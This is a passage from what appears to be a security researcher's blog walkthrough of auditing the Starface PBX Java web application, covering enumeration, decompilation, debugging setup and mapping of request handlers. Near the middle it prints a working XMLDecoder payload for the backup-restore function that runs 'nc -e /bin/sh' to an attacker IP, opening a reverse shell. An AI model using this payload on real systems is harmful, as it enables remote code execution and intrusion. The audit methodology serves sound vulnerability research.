machine images usually come with a complete preinstallation and I can also
control most of the environment, especially networking/firewalling.

They even provided a nice documentation for the initial setup, i.e. how to
configure your instance properly. After a short installation routine, we were
greeted with login web interface.

<img src='img/loginmask.png' width='740' height='383' />

An initial administrator account was created through the installation routine
as well: _Mr. Admin Istrator_ with credentials `0001:adminadmin`. Also an SSH
service was provided, so I could easily get a proper shell as `root` and
changed the default password to `adminadmin` as well.

# Enumeration within SSH session

This was a pretty comfortable situation, having access as root user via SSH.
All I needed for the first round of enumeration. I always start with the
basics, i.e. enumeration of _processes_ and _network connections_. Starting
with process enumeration, I try to look at _unusual stuff_ , pretty much
everything standing out from common \(in this case\) Linux processes.

[code]

    [root@localhost ~]# ps axuf
    USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    [...]
    root        1176  0.0  0.3  92320  6160 ?        Ss   22:14   0:00 /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc -oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512 -oGSSAPIKexAlgorithms=gss-curve25519-sha256-,gss-nistp256-sha256-,gss-group14-sha256-,gss-group16-sha512-,gss-gex-sha1-,gss-group14-sha1- -oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1 -oHostKeyAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oPubkeyAcceptedKeyTypes=ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oCASignatureAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,rsa-sha2-256,rsa-sha2-512,ssh-rsa
    [...]
    tomcat      1696  2.5 40.0 4757928 810260 ?      Sl   22:14   0:57 /usr/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dderby.stream.error.file=/dev/null -Xmx988M -XX:MaxDirectMemorySize=64M -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/home/starface/tomcat-jmv-dump.hprof -Dderby.storage.pageCacheSize=200 -XX:+UseParallelGC -Dorg.apache.catalina.connector.CoyoteAdapter.ALLOW_BACKSLASH=true -Dorg.apache.tomcat.util.buf.UDecoder.ALLOW_ENCODED_SLASH=true -Dorg.apache.tomcat.util.http.Parameters.MAX_COUNT=10000 -Djdk.tls.ephemeralDHKeySize=4096 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0002 -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start
    root        1697  0.0  0.1  26244  3176 tty1     Ss+  22:14   0:00 /bin/bash /usr/sbin/adminshell.sh
    root        1722  0.4  9.5 3791908 193660 ?      Sl   22:14   0:10 java -jar /var/lib/watchdog/watchdog.jar
    [...]
    daemon      2861  0.6 16.0 4026156 324672 ?      Sl   22:15   0:14 /usr/lib/jvm/java/bin/java -Djdk.tls.ephemeralDHKeySize=4096 -DopenfireHome=/opt/openfire -Dopenfire.lib.dir=/opt/openfire/lib -classpath /opt/openfire/lib/startup.jar -jar /opt/openfire/lib/startup.jar
    [...]
    
[/code]

So one could observe strange SSH daemon command line parameters, an
`adminshell.sh` and of course all these **Java processes**. Being mainly
interested in the code audit parts, let’s change the directory to the
presumably correct web app deployment:
`/opt/tomcat/webapps/localhost/starface/`. If you’re not familiar with
something of the technology stack you’re looking at during enumeration \(or
code audit\) phase\(s\), always try to Google the hell out of it. Reading
documentation not only gives you expert knowledge on a technology but also
could lead to some hints for \(new\) exploitation primitives later on.

Since we’re dealing with a Java application, one could start to search for JSP

[code]

    [root@localhost starface] find . -iname '*.jsp' # not really successful in this case
    
[/code]

or XML files

[code]

    [root@localhost starface] find . -iname '*.xml'
    [...]
    ./WEB-INF/classes/struts.xml
    ./WEB-INF/classes/struts2-admin-interconnect.xml
    ./WEB-INF/classes/struts2-admin-moh.xml
    ./WEB-INF/classes/struts2-admin-phone.xml
    ./WEB-INF/classes/struts2-admin-security.xml
    ./WEB-INF/classes/struts2-module-designer.xml
    ./WEB-INF/classes/struts2-module-manager.xml
    [...]
    ./WEB-INF/xml/authfilter_config.xml
    [...]
    ./WEB-INF/struts-config.xml
    [...]
    ./WEB-INF/web.xml # this is what you want later
    [...]
    
[/code]

Again, I like to mark all file locations which somehow stand out from the
“noisy” stuff such as resource bundle files containing UI messages for
different languages for example. I guess most of you are already familiar with
the `WEB-INF/web.xml` file, the web descriptor file with all kind of
interesting declarations like _URL paths, Java Servlets, Java Filters,
security constraints_ and much more. We will look at this later.

Also do not forget to look at the running network services: which services are
listening on which ports? Are those services accessible from “outside”, i.e.
not listening only on loopback interfaces? Is there a firewall in place?

[code]

    [root@localhost starface]# netstat -antp | grep LISTEN
    tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      1696/java           
    tcp        0      0 0.0.0.0:5060            0.0.0.0:*               LISTEN      1621/asterisk       
    tcp        0      0 0.0.0.0:5061            0.0.0.0:*               LISTEN      1621/asterisk       
    tcp        0      0 127.0.0.1:5038          0.0.0.0:*               LISTEN      1621/asterisk       
    tcp        0      0 0.0.0.0:4559            0.0.0.0:*               LISTEN      1258/hfaxd          
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1176/sshd           
    tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      1205/postmaster     
    tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      2063/master         
    tcp6       0      0 :::50080                :::*                    LISTEN      1696/java           
    tcp6       0      0 :::50081                :::*                    LISTEN      1696/java           
    tcp6       0      0 127.0.0.1:9090          :::*                    LISTEN      2861/java           
    tcp6       0      0 127.0.0.1:9091          :::*                    LISTEN      2861/java           
    tcp6       0      0 :::5222                 :::*                    LISTEN      2861/java           
    tcp6       0      0 :::5223                 :::*                    LISTEN      2861/java           
    tcp6       0      0 :::5229                 :::*                    LISTEN      2861/java           
    tcp6       0      0 :::8080                 :::*                    LISTEN      1696/java           
    tcp6       0      0 127.0.0.1:8977          :::*                    LISTEN      1696/java           
    tcp6       0      0 :::5269                 :::*                    LISTEN      2861/java           
    tcp6       0      0 :::8181                 :::*                    LISTEN      1696/java           
    tcp6       0      0 :::22                   :::*                    LISTEN      1176/sshd           
    tcp6       0      0 :::3000                 :::*                    LISTEN      1696/java           
    tcp6       0      0 ::1:5432                :::*                    LISTEN      1205/postmaster     
    tcp6       0      0 ::1:25                  :::*                    LISTEN      2063/master         
    tcp6       0      0 :::3002                 :::*                    LISTEN      1696/java
    
[/code]

It’s easy to write all this stuff in a few minutes for this blog post but
believe me: I usually spend a large amount of time for these enumeration
steps. And **everything is written down in great detail** into my notes,
preferably markdown.

Also, I like to search through log files such as
`/opt/tomcat/logs/catalina.out`. This revealed a nice banner providing more
valuable information such as the Java version.

[code]

    ####### STARFACE version 7.1.1.7 started in 50558ms. #######
      Current Java version is: 1.8.0_292
      JVM: OpenJDK 64-Bit Server VM (25.292-b10, mixed mode)
      Running on: 4x amd64 Processor(s)
      RAM available for JVM: 878 MB
      Free hard disk space: 23 GB
      HardwareId: 206f990abfa7126be1b54bcd082f7879be3677fa
    ####### ############################################ #######
    
[/code]

Why is this important? Sometimes several Java versions are installed on the
same system but you want to make sure which one is used for the process you’re
looking at right now.

# Setup Code Audit Toolset

Before we talk about some tools I use during \(Java\) security code audits,
what do we need? Well yes, the code. With some proper `find` commands, one can
easily search for all relevant files: usually `*.class` and `*.jar`. You might
include of course `*.jsp` etc. if applicable. But since you did proper file
system enumeration before, it is already known to you where the code is
located.

My approach usually goes like this: `find . -iname '*.jar' -exec cp {}
ALL_JARS ;`, i.e. all class and JAR files are copied to new directories I
create in advance. Then there is a beautiful little Python script by _Mogwai
Labs_. This script recursively goes through the input directory and in the end
creates one “huge” JAR file for you. It can process JAR and class files as
well.

Now we got one or more JAR files and as you might know, Java bytecode is
reversible which is great from an auditors perspective. There are quite some
Java decompilers out there, here are my current recommendations:

  * JD-GUI
  * CFR
  * Procyon

There are even tools which provide different decompilers in one application
such as Bytecode Viewer which is great for a “quick overview” but I usually
stick to the toolset above. And one definitely should use **different Java
decompilers** because each one of them comes with strengths and weaknesses.
The most obvious weakness you might spot: one or more Java classes couldn’t be
decompiled by one decompiler but the others could. One decompiler has problems
with reversing `switch` statements, the other might not be capable of
extracting nested anonymous classes etc. pp.

Alright, now all is setup for decompiling the huge JAR\(s\) we built with
`jarjarbigs`. I won’t list all command line parameters for each decompiler so
simply read the CLI manual or documentation. Now you’re ready to open the
source files with the editor of your choice **but** we want to **debug all the
things** as well.

So we fetch the **Eclipse IDE** from here. I usually prefer the **Eclipse IDE
for Enterprise Java and Web Developers** edition but **Eclipse IDE for Java
Developers** might be sufficient for most cases. The **JD-GUI** project also
provides an Eclipse plugin which can be easily installed using the Eclipse
menu path `Help -> Install new Software`. Also do not forget to set the **file
associations** for _class without source_ etc. to the new plugin. Otherwise,
Java classes won’t be decompiled in the editor mode automatically.

You can check your configuration by opening a random Java type \(e.g.
`de.vertico.starface.db.container.UpdateContainer`\) and what you should see
is this.

<img src='img/samplejavaclass.png' width='740' height='426' />

During our SSH session enumeration we of course checked if there was some kind
of debugging service running already which was not. So how to setup a debug
interface? What we need is a **JDWP** \(Java Debug Wire Protocol\) interface
our Eclipse instance could talk to. Reading some Tomcat documentation one
quickly finds a way to do this. We created a new file at `/opt/tomcat/bin`
with the following content:

[code]

    export CATALINA_OPTS="$CATALINA_OPTS -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n"
    
[/code]

After restarting the virtual machine we tried to connect to the IP address
`192.168.2.103` on port `8000` and….got nothing. This should have worked
because there was no NATing in place or so. The virtual network interface was
in _bridge mode_ so we should have been able to talk to it. Several solutions
existed but I usually chose the laziest: **SSH port forwarding**.

[code]

    ssh -L 8000:127.0.0.1:8000 root@192.168.2.103 -f -N
    
[/code]

Now everything should have been setup to live debug the Java code. A few steps
were missing though:

  1. Create a new empty Java project.
  2. Add the JAR file\(s\) baked with `jarjarbigs` to your project as **external JAR dependencies**.
  3. Create a remote debug configuration and run it.

The two steps in 3. should give you something like this.

<img src='img/debugconfiguration.png' width='578' height='610' />

<img src='img/debugrunning.png' width='500' height='627' />

We almost had all we needed to start the audit:

  * Running virtual machine of the vendor.
  * SSH access to the virtual machine with root privileges.
  * Decompiled Java code.
  * A working debugging environment in Eclipse.

# Application Mapping

Before looking at any code, I take some time to learn about the web interface
first. Starting up **BurpSuite** , login, click every button, fill every field
and take notes about everything you observe in the UI in combination with
requests going through your MitM proxy of your choice.

We take the same mindset as we explained above during the SSH session
enumeration part: try to spot **interesting** things but also
**uninteresting** ones. “Uninteresting” could be e.g. “loading of JavaScript
files”.

<img src='img/uninterestingrequest.png' width='740' height='294' />

And “interesting” example could be a request processing interesting
parameters.

<img src='img/interestingrequest.png' width='740' height='291' />

Take notes about absolutely everything, even though you might think that it’s
only _of little interest at the moment_. Often I revisit my notes from top to
down from time to time during my review process and then “rediscover” things,
get new ideas for chains whatsoever. Here are some examples:

  * `http://192.168.2.103/start.jsp` -> we expect JSP handlers \(strange, we didn’t find any JSP files, remember?\)
  * `http://192.168.2.103/login` -> POST request with parameters named `forward` and `secret (0002:f3abb3a69bee79[...])` -> containing our user ID `0002` and some kind of hash
  * `http://192.168.2.103/frontend/calllist/display.do` -> `.do` or `.action` might be good indicators for **Struts** being used

# web.xml

After collecting tons of requests, understanding a bit of business logic, use
cases etc. of the targeted product, we tried to understand how requests are
mapped to code. In Java applications the `web.xml` usually reveals a ton of
information. Of course this also depends on the frameworks used etc. which
could make the content of this file minimal.

In our case, the `web.xml` contained **6651** lines of content…**six thousand
six hundred and fifty one**. That’s a looooot. So how did I approach this in
the first place? Take your time to at least scroll slowly through the whole
file because not every web descriptor file uses the same attributes,
declarations etc. Try to use the principle of **Divide and Conquer** to
extract abstract categories easier to handle by your brain in the beginning.
This _could_ look like this but I guess is pretty subjective.

First, I realized Starface had a large number of _Java Filters_.

[code]

    [...]
    	<filter>
    		<filter-name>i18nFilter</filter-name>
    		<filter-class>de.vertico.starface.filters.i18nFilter</filter-class>
    	</filter>
    	<filter>
    		<filter-name>PhoneMenuAuthFilter</filter-name>
    		<filter-class>de.vertico.starface.filters.PhoneAuthFilter</filter-class>
    		<init-param>
    			<param-name>scope</param-name>
    			<param-value>PhoneMenu</param-value>
    		</init-param>
    		<init-param>
    			<param-name>default-port</param-name>
    			<param-value>50080</param-value>
    		</init-param>
    		<init-param>
    			<param-name>secure-port</param-name>
    			<param-value>50081</param-value>
    		</init-param>
    	</filter>
    [...]
    
[/code]

Next, there were several extra configuration files included/referenced.

[code]

    [...]
    	<context-param>
    		<param-name>configfile</param-name>
    		<param-value>/WEB-INF/starface-config.xml</param-value>
    	</context-param>
    	<context-param>
    		<param-name>authFilterConfig</param-name>
    		<param-value>/WEB-INF/xml/authfilter_config.xml</param-value>
    	</context-param>
    [...]
    
[/code]

Then I saw the first `<url-pattern>` matchers, here linking ?Struts? action
URLs to Java Filters.

[code]

    [...]
    	<!-- .action filter mappings -->
    	<filter-mapping>
    		<filter-name>ExceptionFilter</filter-name>
    		<url-pattern>*.action</url-pattern>
    		<dispatcher>REQUEST</dispatcher>
    	</filter-mapping>
    	<filter-mapping>
    		<filter-name>PortFilter</filter-name>
    		<url-pattern>*.action</url-pattern>
    		<dispatcher>REQUEST</dispatcher>
    	</filter-mapping>
    [...]
    
[/code]

You could also map Java Filters with Java Servlets.

[code]

    [...]
    	<!-- REST filter mappings -->
    	<filter-mapping>
    		<filter-name>PortFilter</filter-name>
    		<servlet-name>REST</servlet-name>
    	</filter-mapping>
    	<filter-mapping>
    		<filter-name>AntiXssFilter</filter-name>
    		<servlet-name>REST</servlet-name>
    	</filter-mapping>
    
[/code]

We also noted the first time some kind of “security awareness” from the
programmer’s perspective by spotting the keyword `AntiXssFilter`.

There were a few more combinations but I won’t list all of them. If you’re
familiar with manual `web.xml` parsing and might already think about **Pre-
Auth endpoints** then try to find declarations with `<security-constraint>`:
you won’t for Starface\! It seemed that they used some kind of custom
`AuthFilter` instead. Such kind of Java Filter was applied at all kinds of URL
patterns e.g. for all `.do` URLs.

[code]

    [...]
    	<filter>
    		<filter-name>AuthFilter</filter-name>
    		<filter-class>de.vertico.starface.filters.AuthFilter</filter-class>
    	</filter>
    [...]
    	<filter-mapping>
    		<filter-name>AuthFilter</filter-name>
    		<url-pattern>*.do</url-pattern>
    	</filter-mapping>
    [...]
    
[/code]

Alright, let’s recap: most of the `web.xml` contained Java Filter
declarations. This was fine since Java Filters are implemented in Java code as
Java Servlets are as well. From a programmatic perspective, they only differ
\(that’s a _very rough differentiator\!_\) in the method name being called
during request processing.

  * Java Filters: `doFilter`
  * Java Servlets: `doGet, doPost, service`

As I understood it, Java Filter order in the descriptor file is usually
preserved for the request processing part. What does this mean? Let’s make an
example.

[code]

    [...]
    	<filter-mapping>
    		<filter-name>CharacterEncodingFilter</filter-name>
    		<url-pattern>/*</url-pattern>
    	</filter-mapping>
    	<filter-mapping>
    		<filter-name>FailedRequestFilter</filter-name>
    		<url-pattern>/*</url-pattern>
    	</filter-mapping>
    [...]
    
[/code]

These two filters should be triggered by basically every incoming request. If
I’m unable to Google specific questions, I simply test it empirically. Since
we had the debugging environment running already, a test was easy.

  1. Set a breakpoint at `de.vertico.starface.filters.CharacterEncodingFilter.doFilter(ServletRequest, ServletResponse, FilterChain)`.
  2. Set a breakpoint at `de.vertico.starface.filters.FailedRequestFilter.doFilter(ServletRequest, ServletResponse, FilterChain)`.
  3. Browse to `http://192.168.2.103/IDefinitelyDontCare`.

<img src='img/characterencodingfilter.png' width='740' height='142' />

<img src='img/failedrequestfilter.png' width='740' height='389' />

It seemed this was a correct assumption. Why did we care? Because if a Java
Filter contained a vulnerability before any _authentication check_ could step
in \(remember the `AuthFilter`?\), this would have led to a _Pre-Auth
condition_. So we could have built a graph of URL patterns and Java Filter
orders to obtain a list of Java Filters called before authentication checks
would have been triggered.

Additionally, we spotted a file inclusion of `WEB-
INF/xml/authfilter_config.xml` in the `web.xml` with the following content.

[code]

    <properties>
    	<category name="general">
    	<!-- 
    		Hier werden Pfade aufgelistet die keine Authorisierung brauchen
    		und vom AuthFilter ignoriert werden
    		(translated by me)
    		This is a list of paths which do not need any authorization and
    		are therefore ignored bei AuthFilter
    		(/translated by me)
    	 -->
    		<property name="/ajax/restore" value="true" />
    		<property name="/ajax/update" value="true" />
    		<property name="/blank.html" value="true" />
    		<property name="/index.jsp" value="true" />
    		<property name="/jsp/blank.html" value="true" />
    		<property name="/login.jsp" value="true" />
    	</category>
    </properties>
    
[/code]

These were additional candidates to check for Pre-Auth flaws.

What about endpoints which were not handled by this `AuthFilter`? We found
another authentication check filter in `web.xml`

[code]

    		<filter-name>RestAuthFilterA</filter-name>
    		<filter-class>de.starface.rest.authentication.RestAuthFilter</filter-class>
    
[/code]

which might be handling URLs of another **REST** interface.

[code]

    	<servlet-mapping>
    		<servlet-name>REST</servlet-name>
    		<url-pattern>/rest/*</url-pattern>
    	</servlet-mapping>
    
[/code]

Finding another Filter/Servlet mapping confirmed our assumption.

[code]

    	<filter-mapping>
    		<filter-name>RestAuthFilterA</filter-name>
    		<servlet-name>REST</servlet-name>
    	</filter-mapping>
    
[/code]

The Java Servlet definition was found quickly.

[code]

    	<servlet>
    		<servlet-name>REST</servlet-name>
    		<servlet-class>com.sun.jersey.spi.spring.container.servlet.SpringServlet</servlet-class>
    		<init-param>
    			<param-name>com.sun.jersey.config.property.packages</param-name>
    			<param-value>
    				io.swagger.jaxrs.json;
    				io.swagger.jaxrs.listing;
    				de.starface.middleware;
    				de.starface.persistence.jpa;
    				de.starface.rest;
    				de.starface.rest.common;
    				de.starface.rest.controller;
    				de.starface.rest.addressbook.api;
    				de.starface.rest.redirects.api;
    				de.starface.rest.fmcPhones.api
    				de.starface.rest.functionkeys.api;
    				de.starface.rest.users.api;
    		[...]
    
[/code]

So we should take a look at the namespace `de.starface.rest` to get an idea of
how the **Spring REST** interfaces were implemented. The **namespace
structure** often gives good hints about how the programmers organized their
code: another important step to make your code auditing process more
efficient.

<img src='img/restnamespacestructure.png' width='367' height='247' />

Let’s have a look how the request handling was done for the Spring interfaces
in e.g. `de.starface.rest.controller.AccountsApi`.

<img src='img/restgetaccountslist.png' width='740' height='250' />

What makes this kind of request handling easily readable \(and
discoverable\!\) were **Annotations** like `@Path, @Consumes, @Produces, ...`,
distinguishable from the Java Servlet request handlers we described above.
This is why learning about the frameworks being used is important to not miss
any request handlers right at the beginning.

To verify my current state of knowledge, I always tend to make checks from
time to time in the debugger. Let’s stick to the
`de.starface.rest.controller.AccountsApi` use-case. We did a GET request to
the following URL `http://192.168.2.103/rest/accounts/` from an
_unauthenticated_ context and…hit the breakpoint.

<img src='img/restbreakpointhit.png' width='740' height='80' />

That was somehow unexpected because I rather expected that my request would be
sorted out by the `RestAuthFilterA` in advance. My assumption failed but that
was fine because I could hit endpoints without prior authentication obviously.
What did I see in BurpSuite then?

[code]

    HTTP/1.1 401 
    [...]
    
    {"code":"d937bb0c-ab0f-464a-a02a-41840746a45a","message":"Not logged in"}
    
[/code]

But why? The implementing class could be found in
`de.starface.rest.accounts.api.impl.AccountsApiServiceImpl.getAccounts(HttpServletRequest)`:

[code]

    /*    */   public Response getAccounts(HttpServletRequest request) throws RestException {
    /* 30 */     AuthHelper.getAndCheckPrincipal(request);
    /* 31 */     CATConnectorPGSQL catConnectorPgsql = (CATConnectorPGSQL)StarfaceComponentProvider.getInstance().fetch(CATConnectorPGSQL.class);
    /*    */     
    /* 33 */     return RestResponse.returnSuccessfulWithData(AccountsFactory.createAccounts(catConnectorPgsql
    /* 34 */           .getAccount2ParamsMapIdAndName(), new HashSet()));
    /*    */   }
    
[/code]

And we found another authentication check variant with
`AuthHelper.getAndCheckPrincipal(request)`. And here it is.

[code]

    /*    */   public static Principal getAndCheckPrincipal(HttpServletRequest request) throws RestException {
    /*    */     Principal principal;
    /* 27 */     Object principalAttribute = request.getAttribute("principal");
    /*    */     
    /* 29 */     if (principalAttribute instanceof Principal) {
    /* 30 */       principal = (Principal)principalAttribute;
    /*    */     } else {
    /* 32 */       throw new BadRequestException("46dca6f5-ed1a-44c9-920d-b0e57ea17ef5", "Invalid Rest-Request: Missing Authentication");
    /*    */     } 
    /*    */     
    /* 35 */     if (principal.isGuest()) {
    /* 36 */       throw new UnauthorizedException("d937bb0c-ab0f-464a-a02a-41840746a45a", "Not logged in");
    
[/code]

One could easily recognize that the `UnauthorizedException` was an exact match
with our HTTP response from the server. So it seemed obvious to check **all
controller classes** in this namespace for

  1. the existence of the `AuthHelper.getAndCheckPrincipal(request)` call
  2. if the call was there, if some processing on the attacker-controlled `HttpServletRequest` was done before

_Step 2_ was another lessons learned because the existence of an
authentication check does **not** mean that maybe one couldn’t do something
bad before this check would have been called. Unfortunately, after looking at
_all controller classes_ I did not spot any obvious flaws.

Did we have a good understanding about all request source handling already?
No, only `web.xml` based Java Servlet and Filter request handling and Spring
framework annotated ones so far.

# struts-config.xml

In the `web.xml` some URL pattern definitions for `.action` and `.do` brought
us to the conclusion that **Struts** might be in use. We should have a look at
`struts.xml` and `struts-config.xml` for this which I did.

Another framework, another configuration scheme, other things to look at and
understand. That’s the exhausting part of code audits and this is also why
audits might last several days, weeks or even months before one at least
understands all the “inner workings” of a product.

Let’s take an example from the `struts-config.xml` file.

[code]

    [...]
            <action path="/config/backup/importBackup"
                type="de.vertico.starface.config.server.actions.BackupImportAction"
                name="importBackupForm" validate="false"
                parameter="requiredPermission=administration;task=execute">
                <forward name="nextStep" path="/jsp/progress/backup-import.jsp"/>
            </action>
    [...]
    
[/code]

There was a _path_ , _type_ \(our code\!\), and also some _parameters_ which
pointed to required permissions needed. You should enumerate again all _action
paths_ and understand the difference between permission types etc. We’ll stick
to this specific path for a moment. Could I find the request trigger in the UI
as well? I always jump between my debugging window, my decompiled source in VS
code and my desktop with BurpSuite and browser open.

Since the permission requirement said _administration_ , I logged in as
administrator `0001`. After a bit of clicking around, I found the menu entry
**Configuration**.

<img src='img/administrationUI.png' width='651' height='448' />

The endpoint definition said `importBackup` which seemed to be a good match
here.

<img src='img/backupUI.png' width='710' height='345' />

We triggered a _Default Backup_ to verify the suspected chain in the code
\(and also create a backup artifact\). A POST request to
`http://192.168.2.103/config/server/backup/execute.do` was observed. The
backup was downloadable and named `backup-Default-1653253925922.sar`. What did
the file content look like?

[code]

    user:~/Downloads$ unzip -l backup-Default-1653253925922.sar
    Archive:  backup-Default-1653253925922.sar
      Length      Date    Time    Name
    ---------  ---------- -----   ----
        12542  2022-05-22 23:12   db-entities/de.vertico.starface.db.v191.hibernate.CountryCode
    [...]
         5167  2022-05-22 23:12   var-data/srtpcerts/asterisk.pem
         1465  2022-05-22 23:12   var-data/phonecerts/cert_rootca.der.new
         1358  2022-05-22 23:12   var-data/phonecerts/pubkey_cert.DER.new
         1465  2022-05-22 23:12   var-data/phonecerts/cert_rootca.der
         1358  2022-05-22 23:12   var-data/phonecerts/pubkey_cert.DER
      3821434  2022-05-22 23:12   music-on-hold2/starface-music.sln16
         3743  2022-05-22 23:12   db-entities/de.vertico.starface.db.SequenceValue
        17638  2022-05-22 23:12   manifest.xml
    ---------                     -------
      8270904                     417 files
    
[/code]

_Backup restore functions_ usually are excellently suited for getting **fast
RCE**. We needed a success story after this unsuccessful trip for days. Also
this could have been one part of a more interesting exploitation chain. Who
knows?

Time to look at the class
`de.vertico.starface.config.server.actions.BackupImportAction` and since this
was based on Struts:
`de.vertico.starface.config.server.actions.BackupImportAction.execute(ActionMapping,
ActionForm)`.

First, the `org.apache.struts.action.ActionForm form` from the request was
casted into a new variable
`de.vertico.starface.config.server.forms.BackupImportForm importForm` which
eventually landed here in the same `execute` method.

[code]

    [...]
    /*  67 */       if (importForm.isImportUpload())
    /*     */       {
    /*  69 */         return prepareUploadFileTask(mapping, importForm);
    /*     */       }
    [...]
    
[/code]

The next call went to
`de.vertico.starface.config.server.actions.BackupImportAction.prepareUploadFileTask(ActionMapping,
BackupImportForm)`. The `importForm` was then casted there into again a new
variable `org.apache.struts.upload.FormFile importFile`. The upload content
was then written into a `FileOutputStream out` with help of
`org.apache.commons.io.IOUtils.copy(InputStream, OutputStream)`. A “temporary
file” was created then and processing the uploaded content began with a call
to

[code]

    [...]
    /* 204 */       IManifestContainer container = ContainerResolver.getContainer(tmpFile);
    [...]
    
[/code]

The `getContainer` method simply returned the result of another method call
`return new ZipManifestContainer(file)`.

The constructor of
`de.vertico.starface.db.container.ZipManifestContainer.ZipManifestContainer(File)`
finally contained a call to a `readManifest()` method.

[code]

    /*    */   private void readManifest() throws IOException {
    /* 33 */     try (ZipFile zip = new ZipFile(getFile())) {
    /* 34 */       entry = zip.getEntry("manifest.xml");
    /* 35 */       if (entry == null) {
    /* 36 */         throw new IOException("No manifest entry found");
    /*    */       }
    /* 38 */       InputStream in = zip.getInputStream(entry);
    /* 39 */       XMLDecoder dec = new XMLDecoder(in);
    /* 40 */       this.manifest = (Manifest)dec.readObject(); // <--- Ouch!!
    /* 41 */       dec.close();
    /* 42 */       in.close();
    /*    */     } 
    /*    */   }
    
[/code]

And here we had found it: our **fast RCE**. `XmlDecoder.readObject` is a well-
known “friend” for Java code auditors because it allows instant code execution
without any restrictions to class paths or so as it is known for other
unmarshalling/deserialization flaws.

Since `netcat` with `-e` option came preinstalled on the vendor’s virtual
machine, this was a quick win.

[code]

    <?xml version="1.0" encoding="UTF-8"?>
    <java version="1.8.0_292" class="java.beans.XMLDecoder">
    <object class="java.lang.Runtime" method="getRuntime">
          <void method="exec">
          <array class="java.lang.String" length="5">
              <void index="0">
                  <string>/usr/bin/nc</string>
              </void>
              <void index="1">
                  <string>-e</string>
              </void>
              <void index="2">
                  <string>/bin/sh</string>
              </void>
              <void index="3">
                  <string>192.168.2.100</string> <!-- my attacker machine -->
              </void>
              <void index="4">
                  <string>1337</string>
              </void>
          </array>
          </void>
     </object>
    </java>
    
[/code]

Honestly, when I was first browsing through the code to check for how the ZIP
file content was processed, I rather thought about an XML External Entity
\(XXE\) flaw but this was even better and a lot easier. Building a fake backup
ZIP file with the malicious `manifest.xml` was quickly done and handed over to
the restore function to prove the RCE.

# Unprivileged User Attack Surface

Until then, we failed in looking for **unauthenticated endpoints** being
vulnerable for anything relevant. _Remark: I did explain above that one should
map all the URL patterns against Java Servlets and Filters described
in`web.xml` which to this date, I did not. There might be some unseen attack
surface\!_

But since this blog post is not about the latest and coolest new RCEs but
rather giving a walk-through over my whole security audit process, we proceed
with the next category: _Searching for vulnerable actions as unprivileged
user_.

We begin with a biased trigger of my simple mind by the abbreviation **RPC**
\(Remote Procedure Call\). This usually reminds me of a lot of vulnerabilities
in the past. The `web.xml` indeed revealed something similar.

[code]

    [...]
    	<servlet-mapping>
    		<servlet-name>XmlRpcServlet</servlet-name>
    		<url-pattern>/xml-rpc</url-pattern>
    	</servlet-mapping>
    
[/code]

[code]

    [...]
    	<servlet>
    		<servlet-name>XmlRpcServlet</servlet-name>
    		<servlet-class>de.starface.com.rpc.xmlrpc.http.XmlRpcServlet</servlet-class>
    		<init-param>
    			<param-name>authConverterFactory</param-name>
    			<param-value>de.starface.integration.uci.ucp.connectors.UrlAccountAuthTokenConverterFactory</param-value>
    		</init-param>
    		<init-param>
    			<param-name>useAuthenticationReporter</param-name>
    			<param-value>true</param-value>
    		</init-param>
    	</servlet>
    [...]
    
[/code]

So I had a look at
`de.starface.com.rpc.xmlrpc.http.XmlRpcServlet.doPost(HttpServletRequest,
HttpServletResponse)` first. Obviously, the next code snippet showed,
something received and **parsed** XML-based data from an HTTP request.

[code]

    /* 151 */       HttpXmlRpcObjectParser parser = new HttpXmlRpcObjectParser();
    /*     */       
    /* 153 */       HttpXmlRpcRequest httpRequest = (HttpXmlRpcRequest)parser.parseStreamAsServer(req.getInputStream()); // <-- req being a HttpServletRequest
    /*     */       
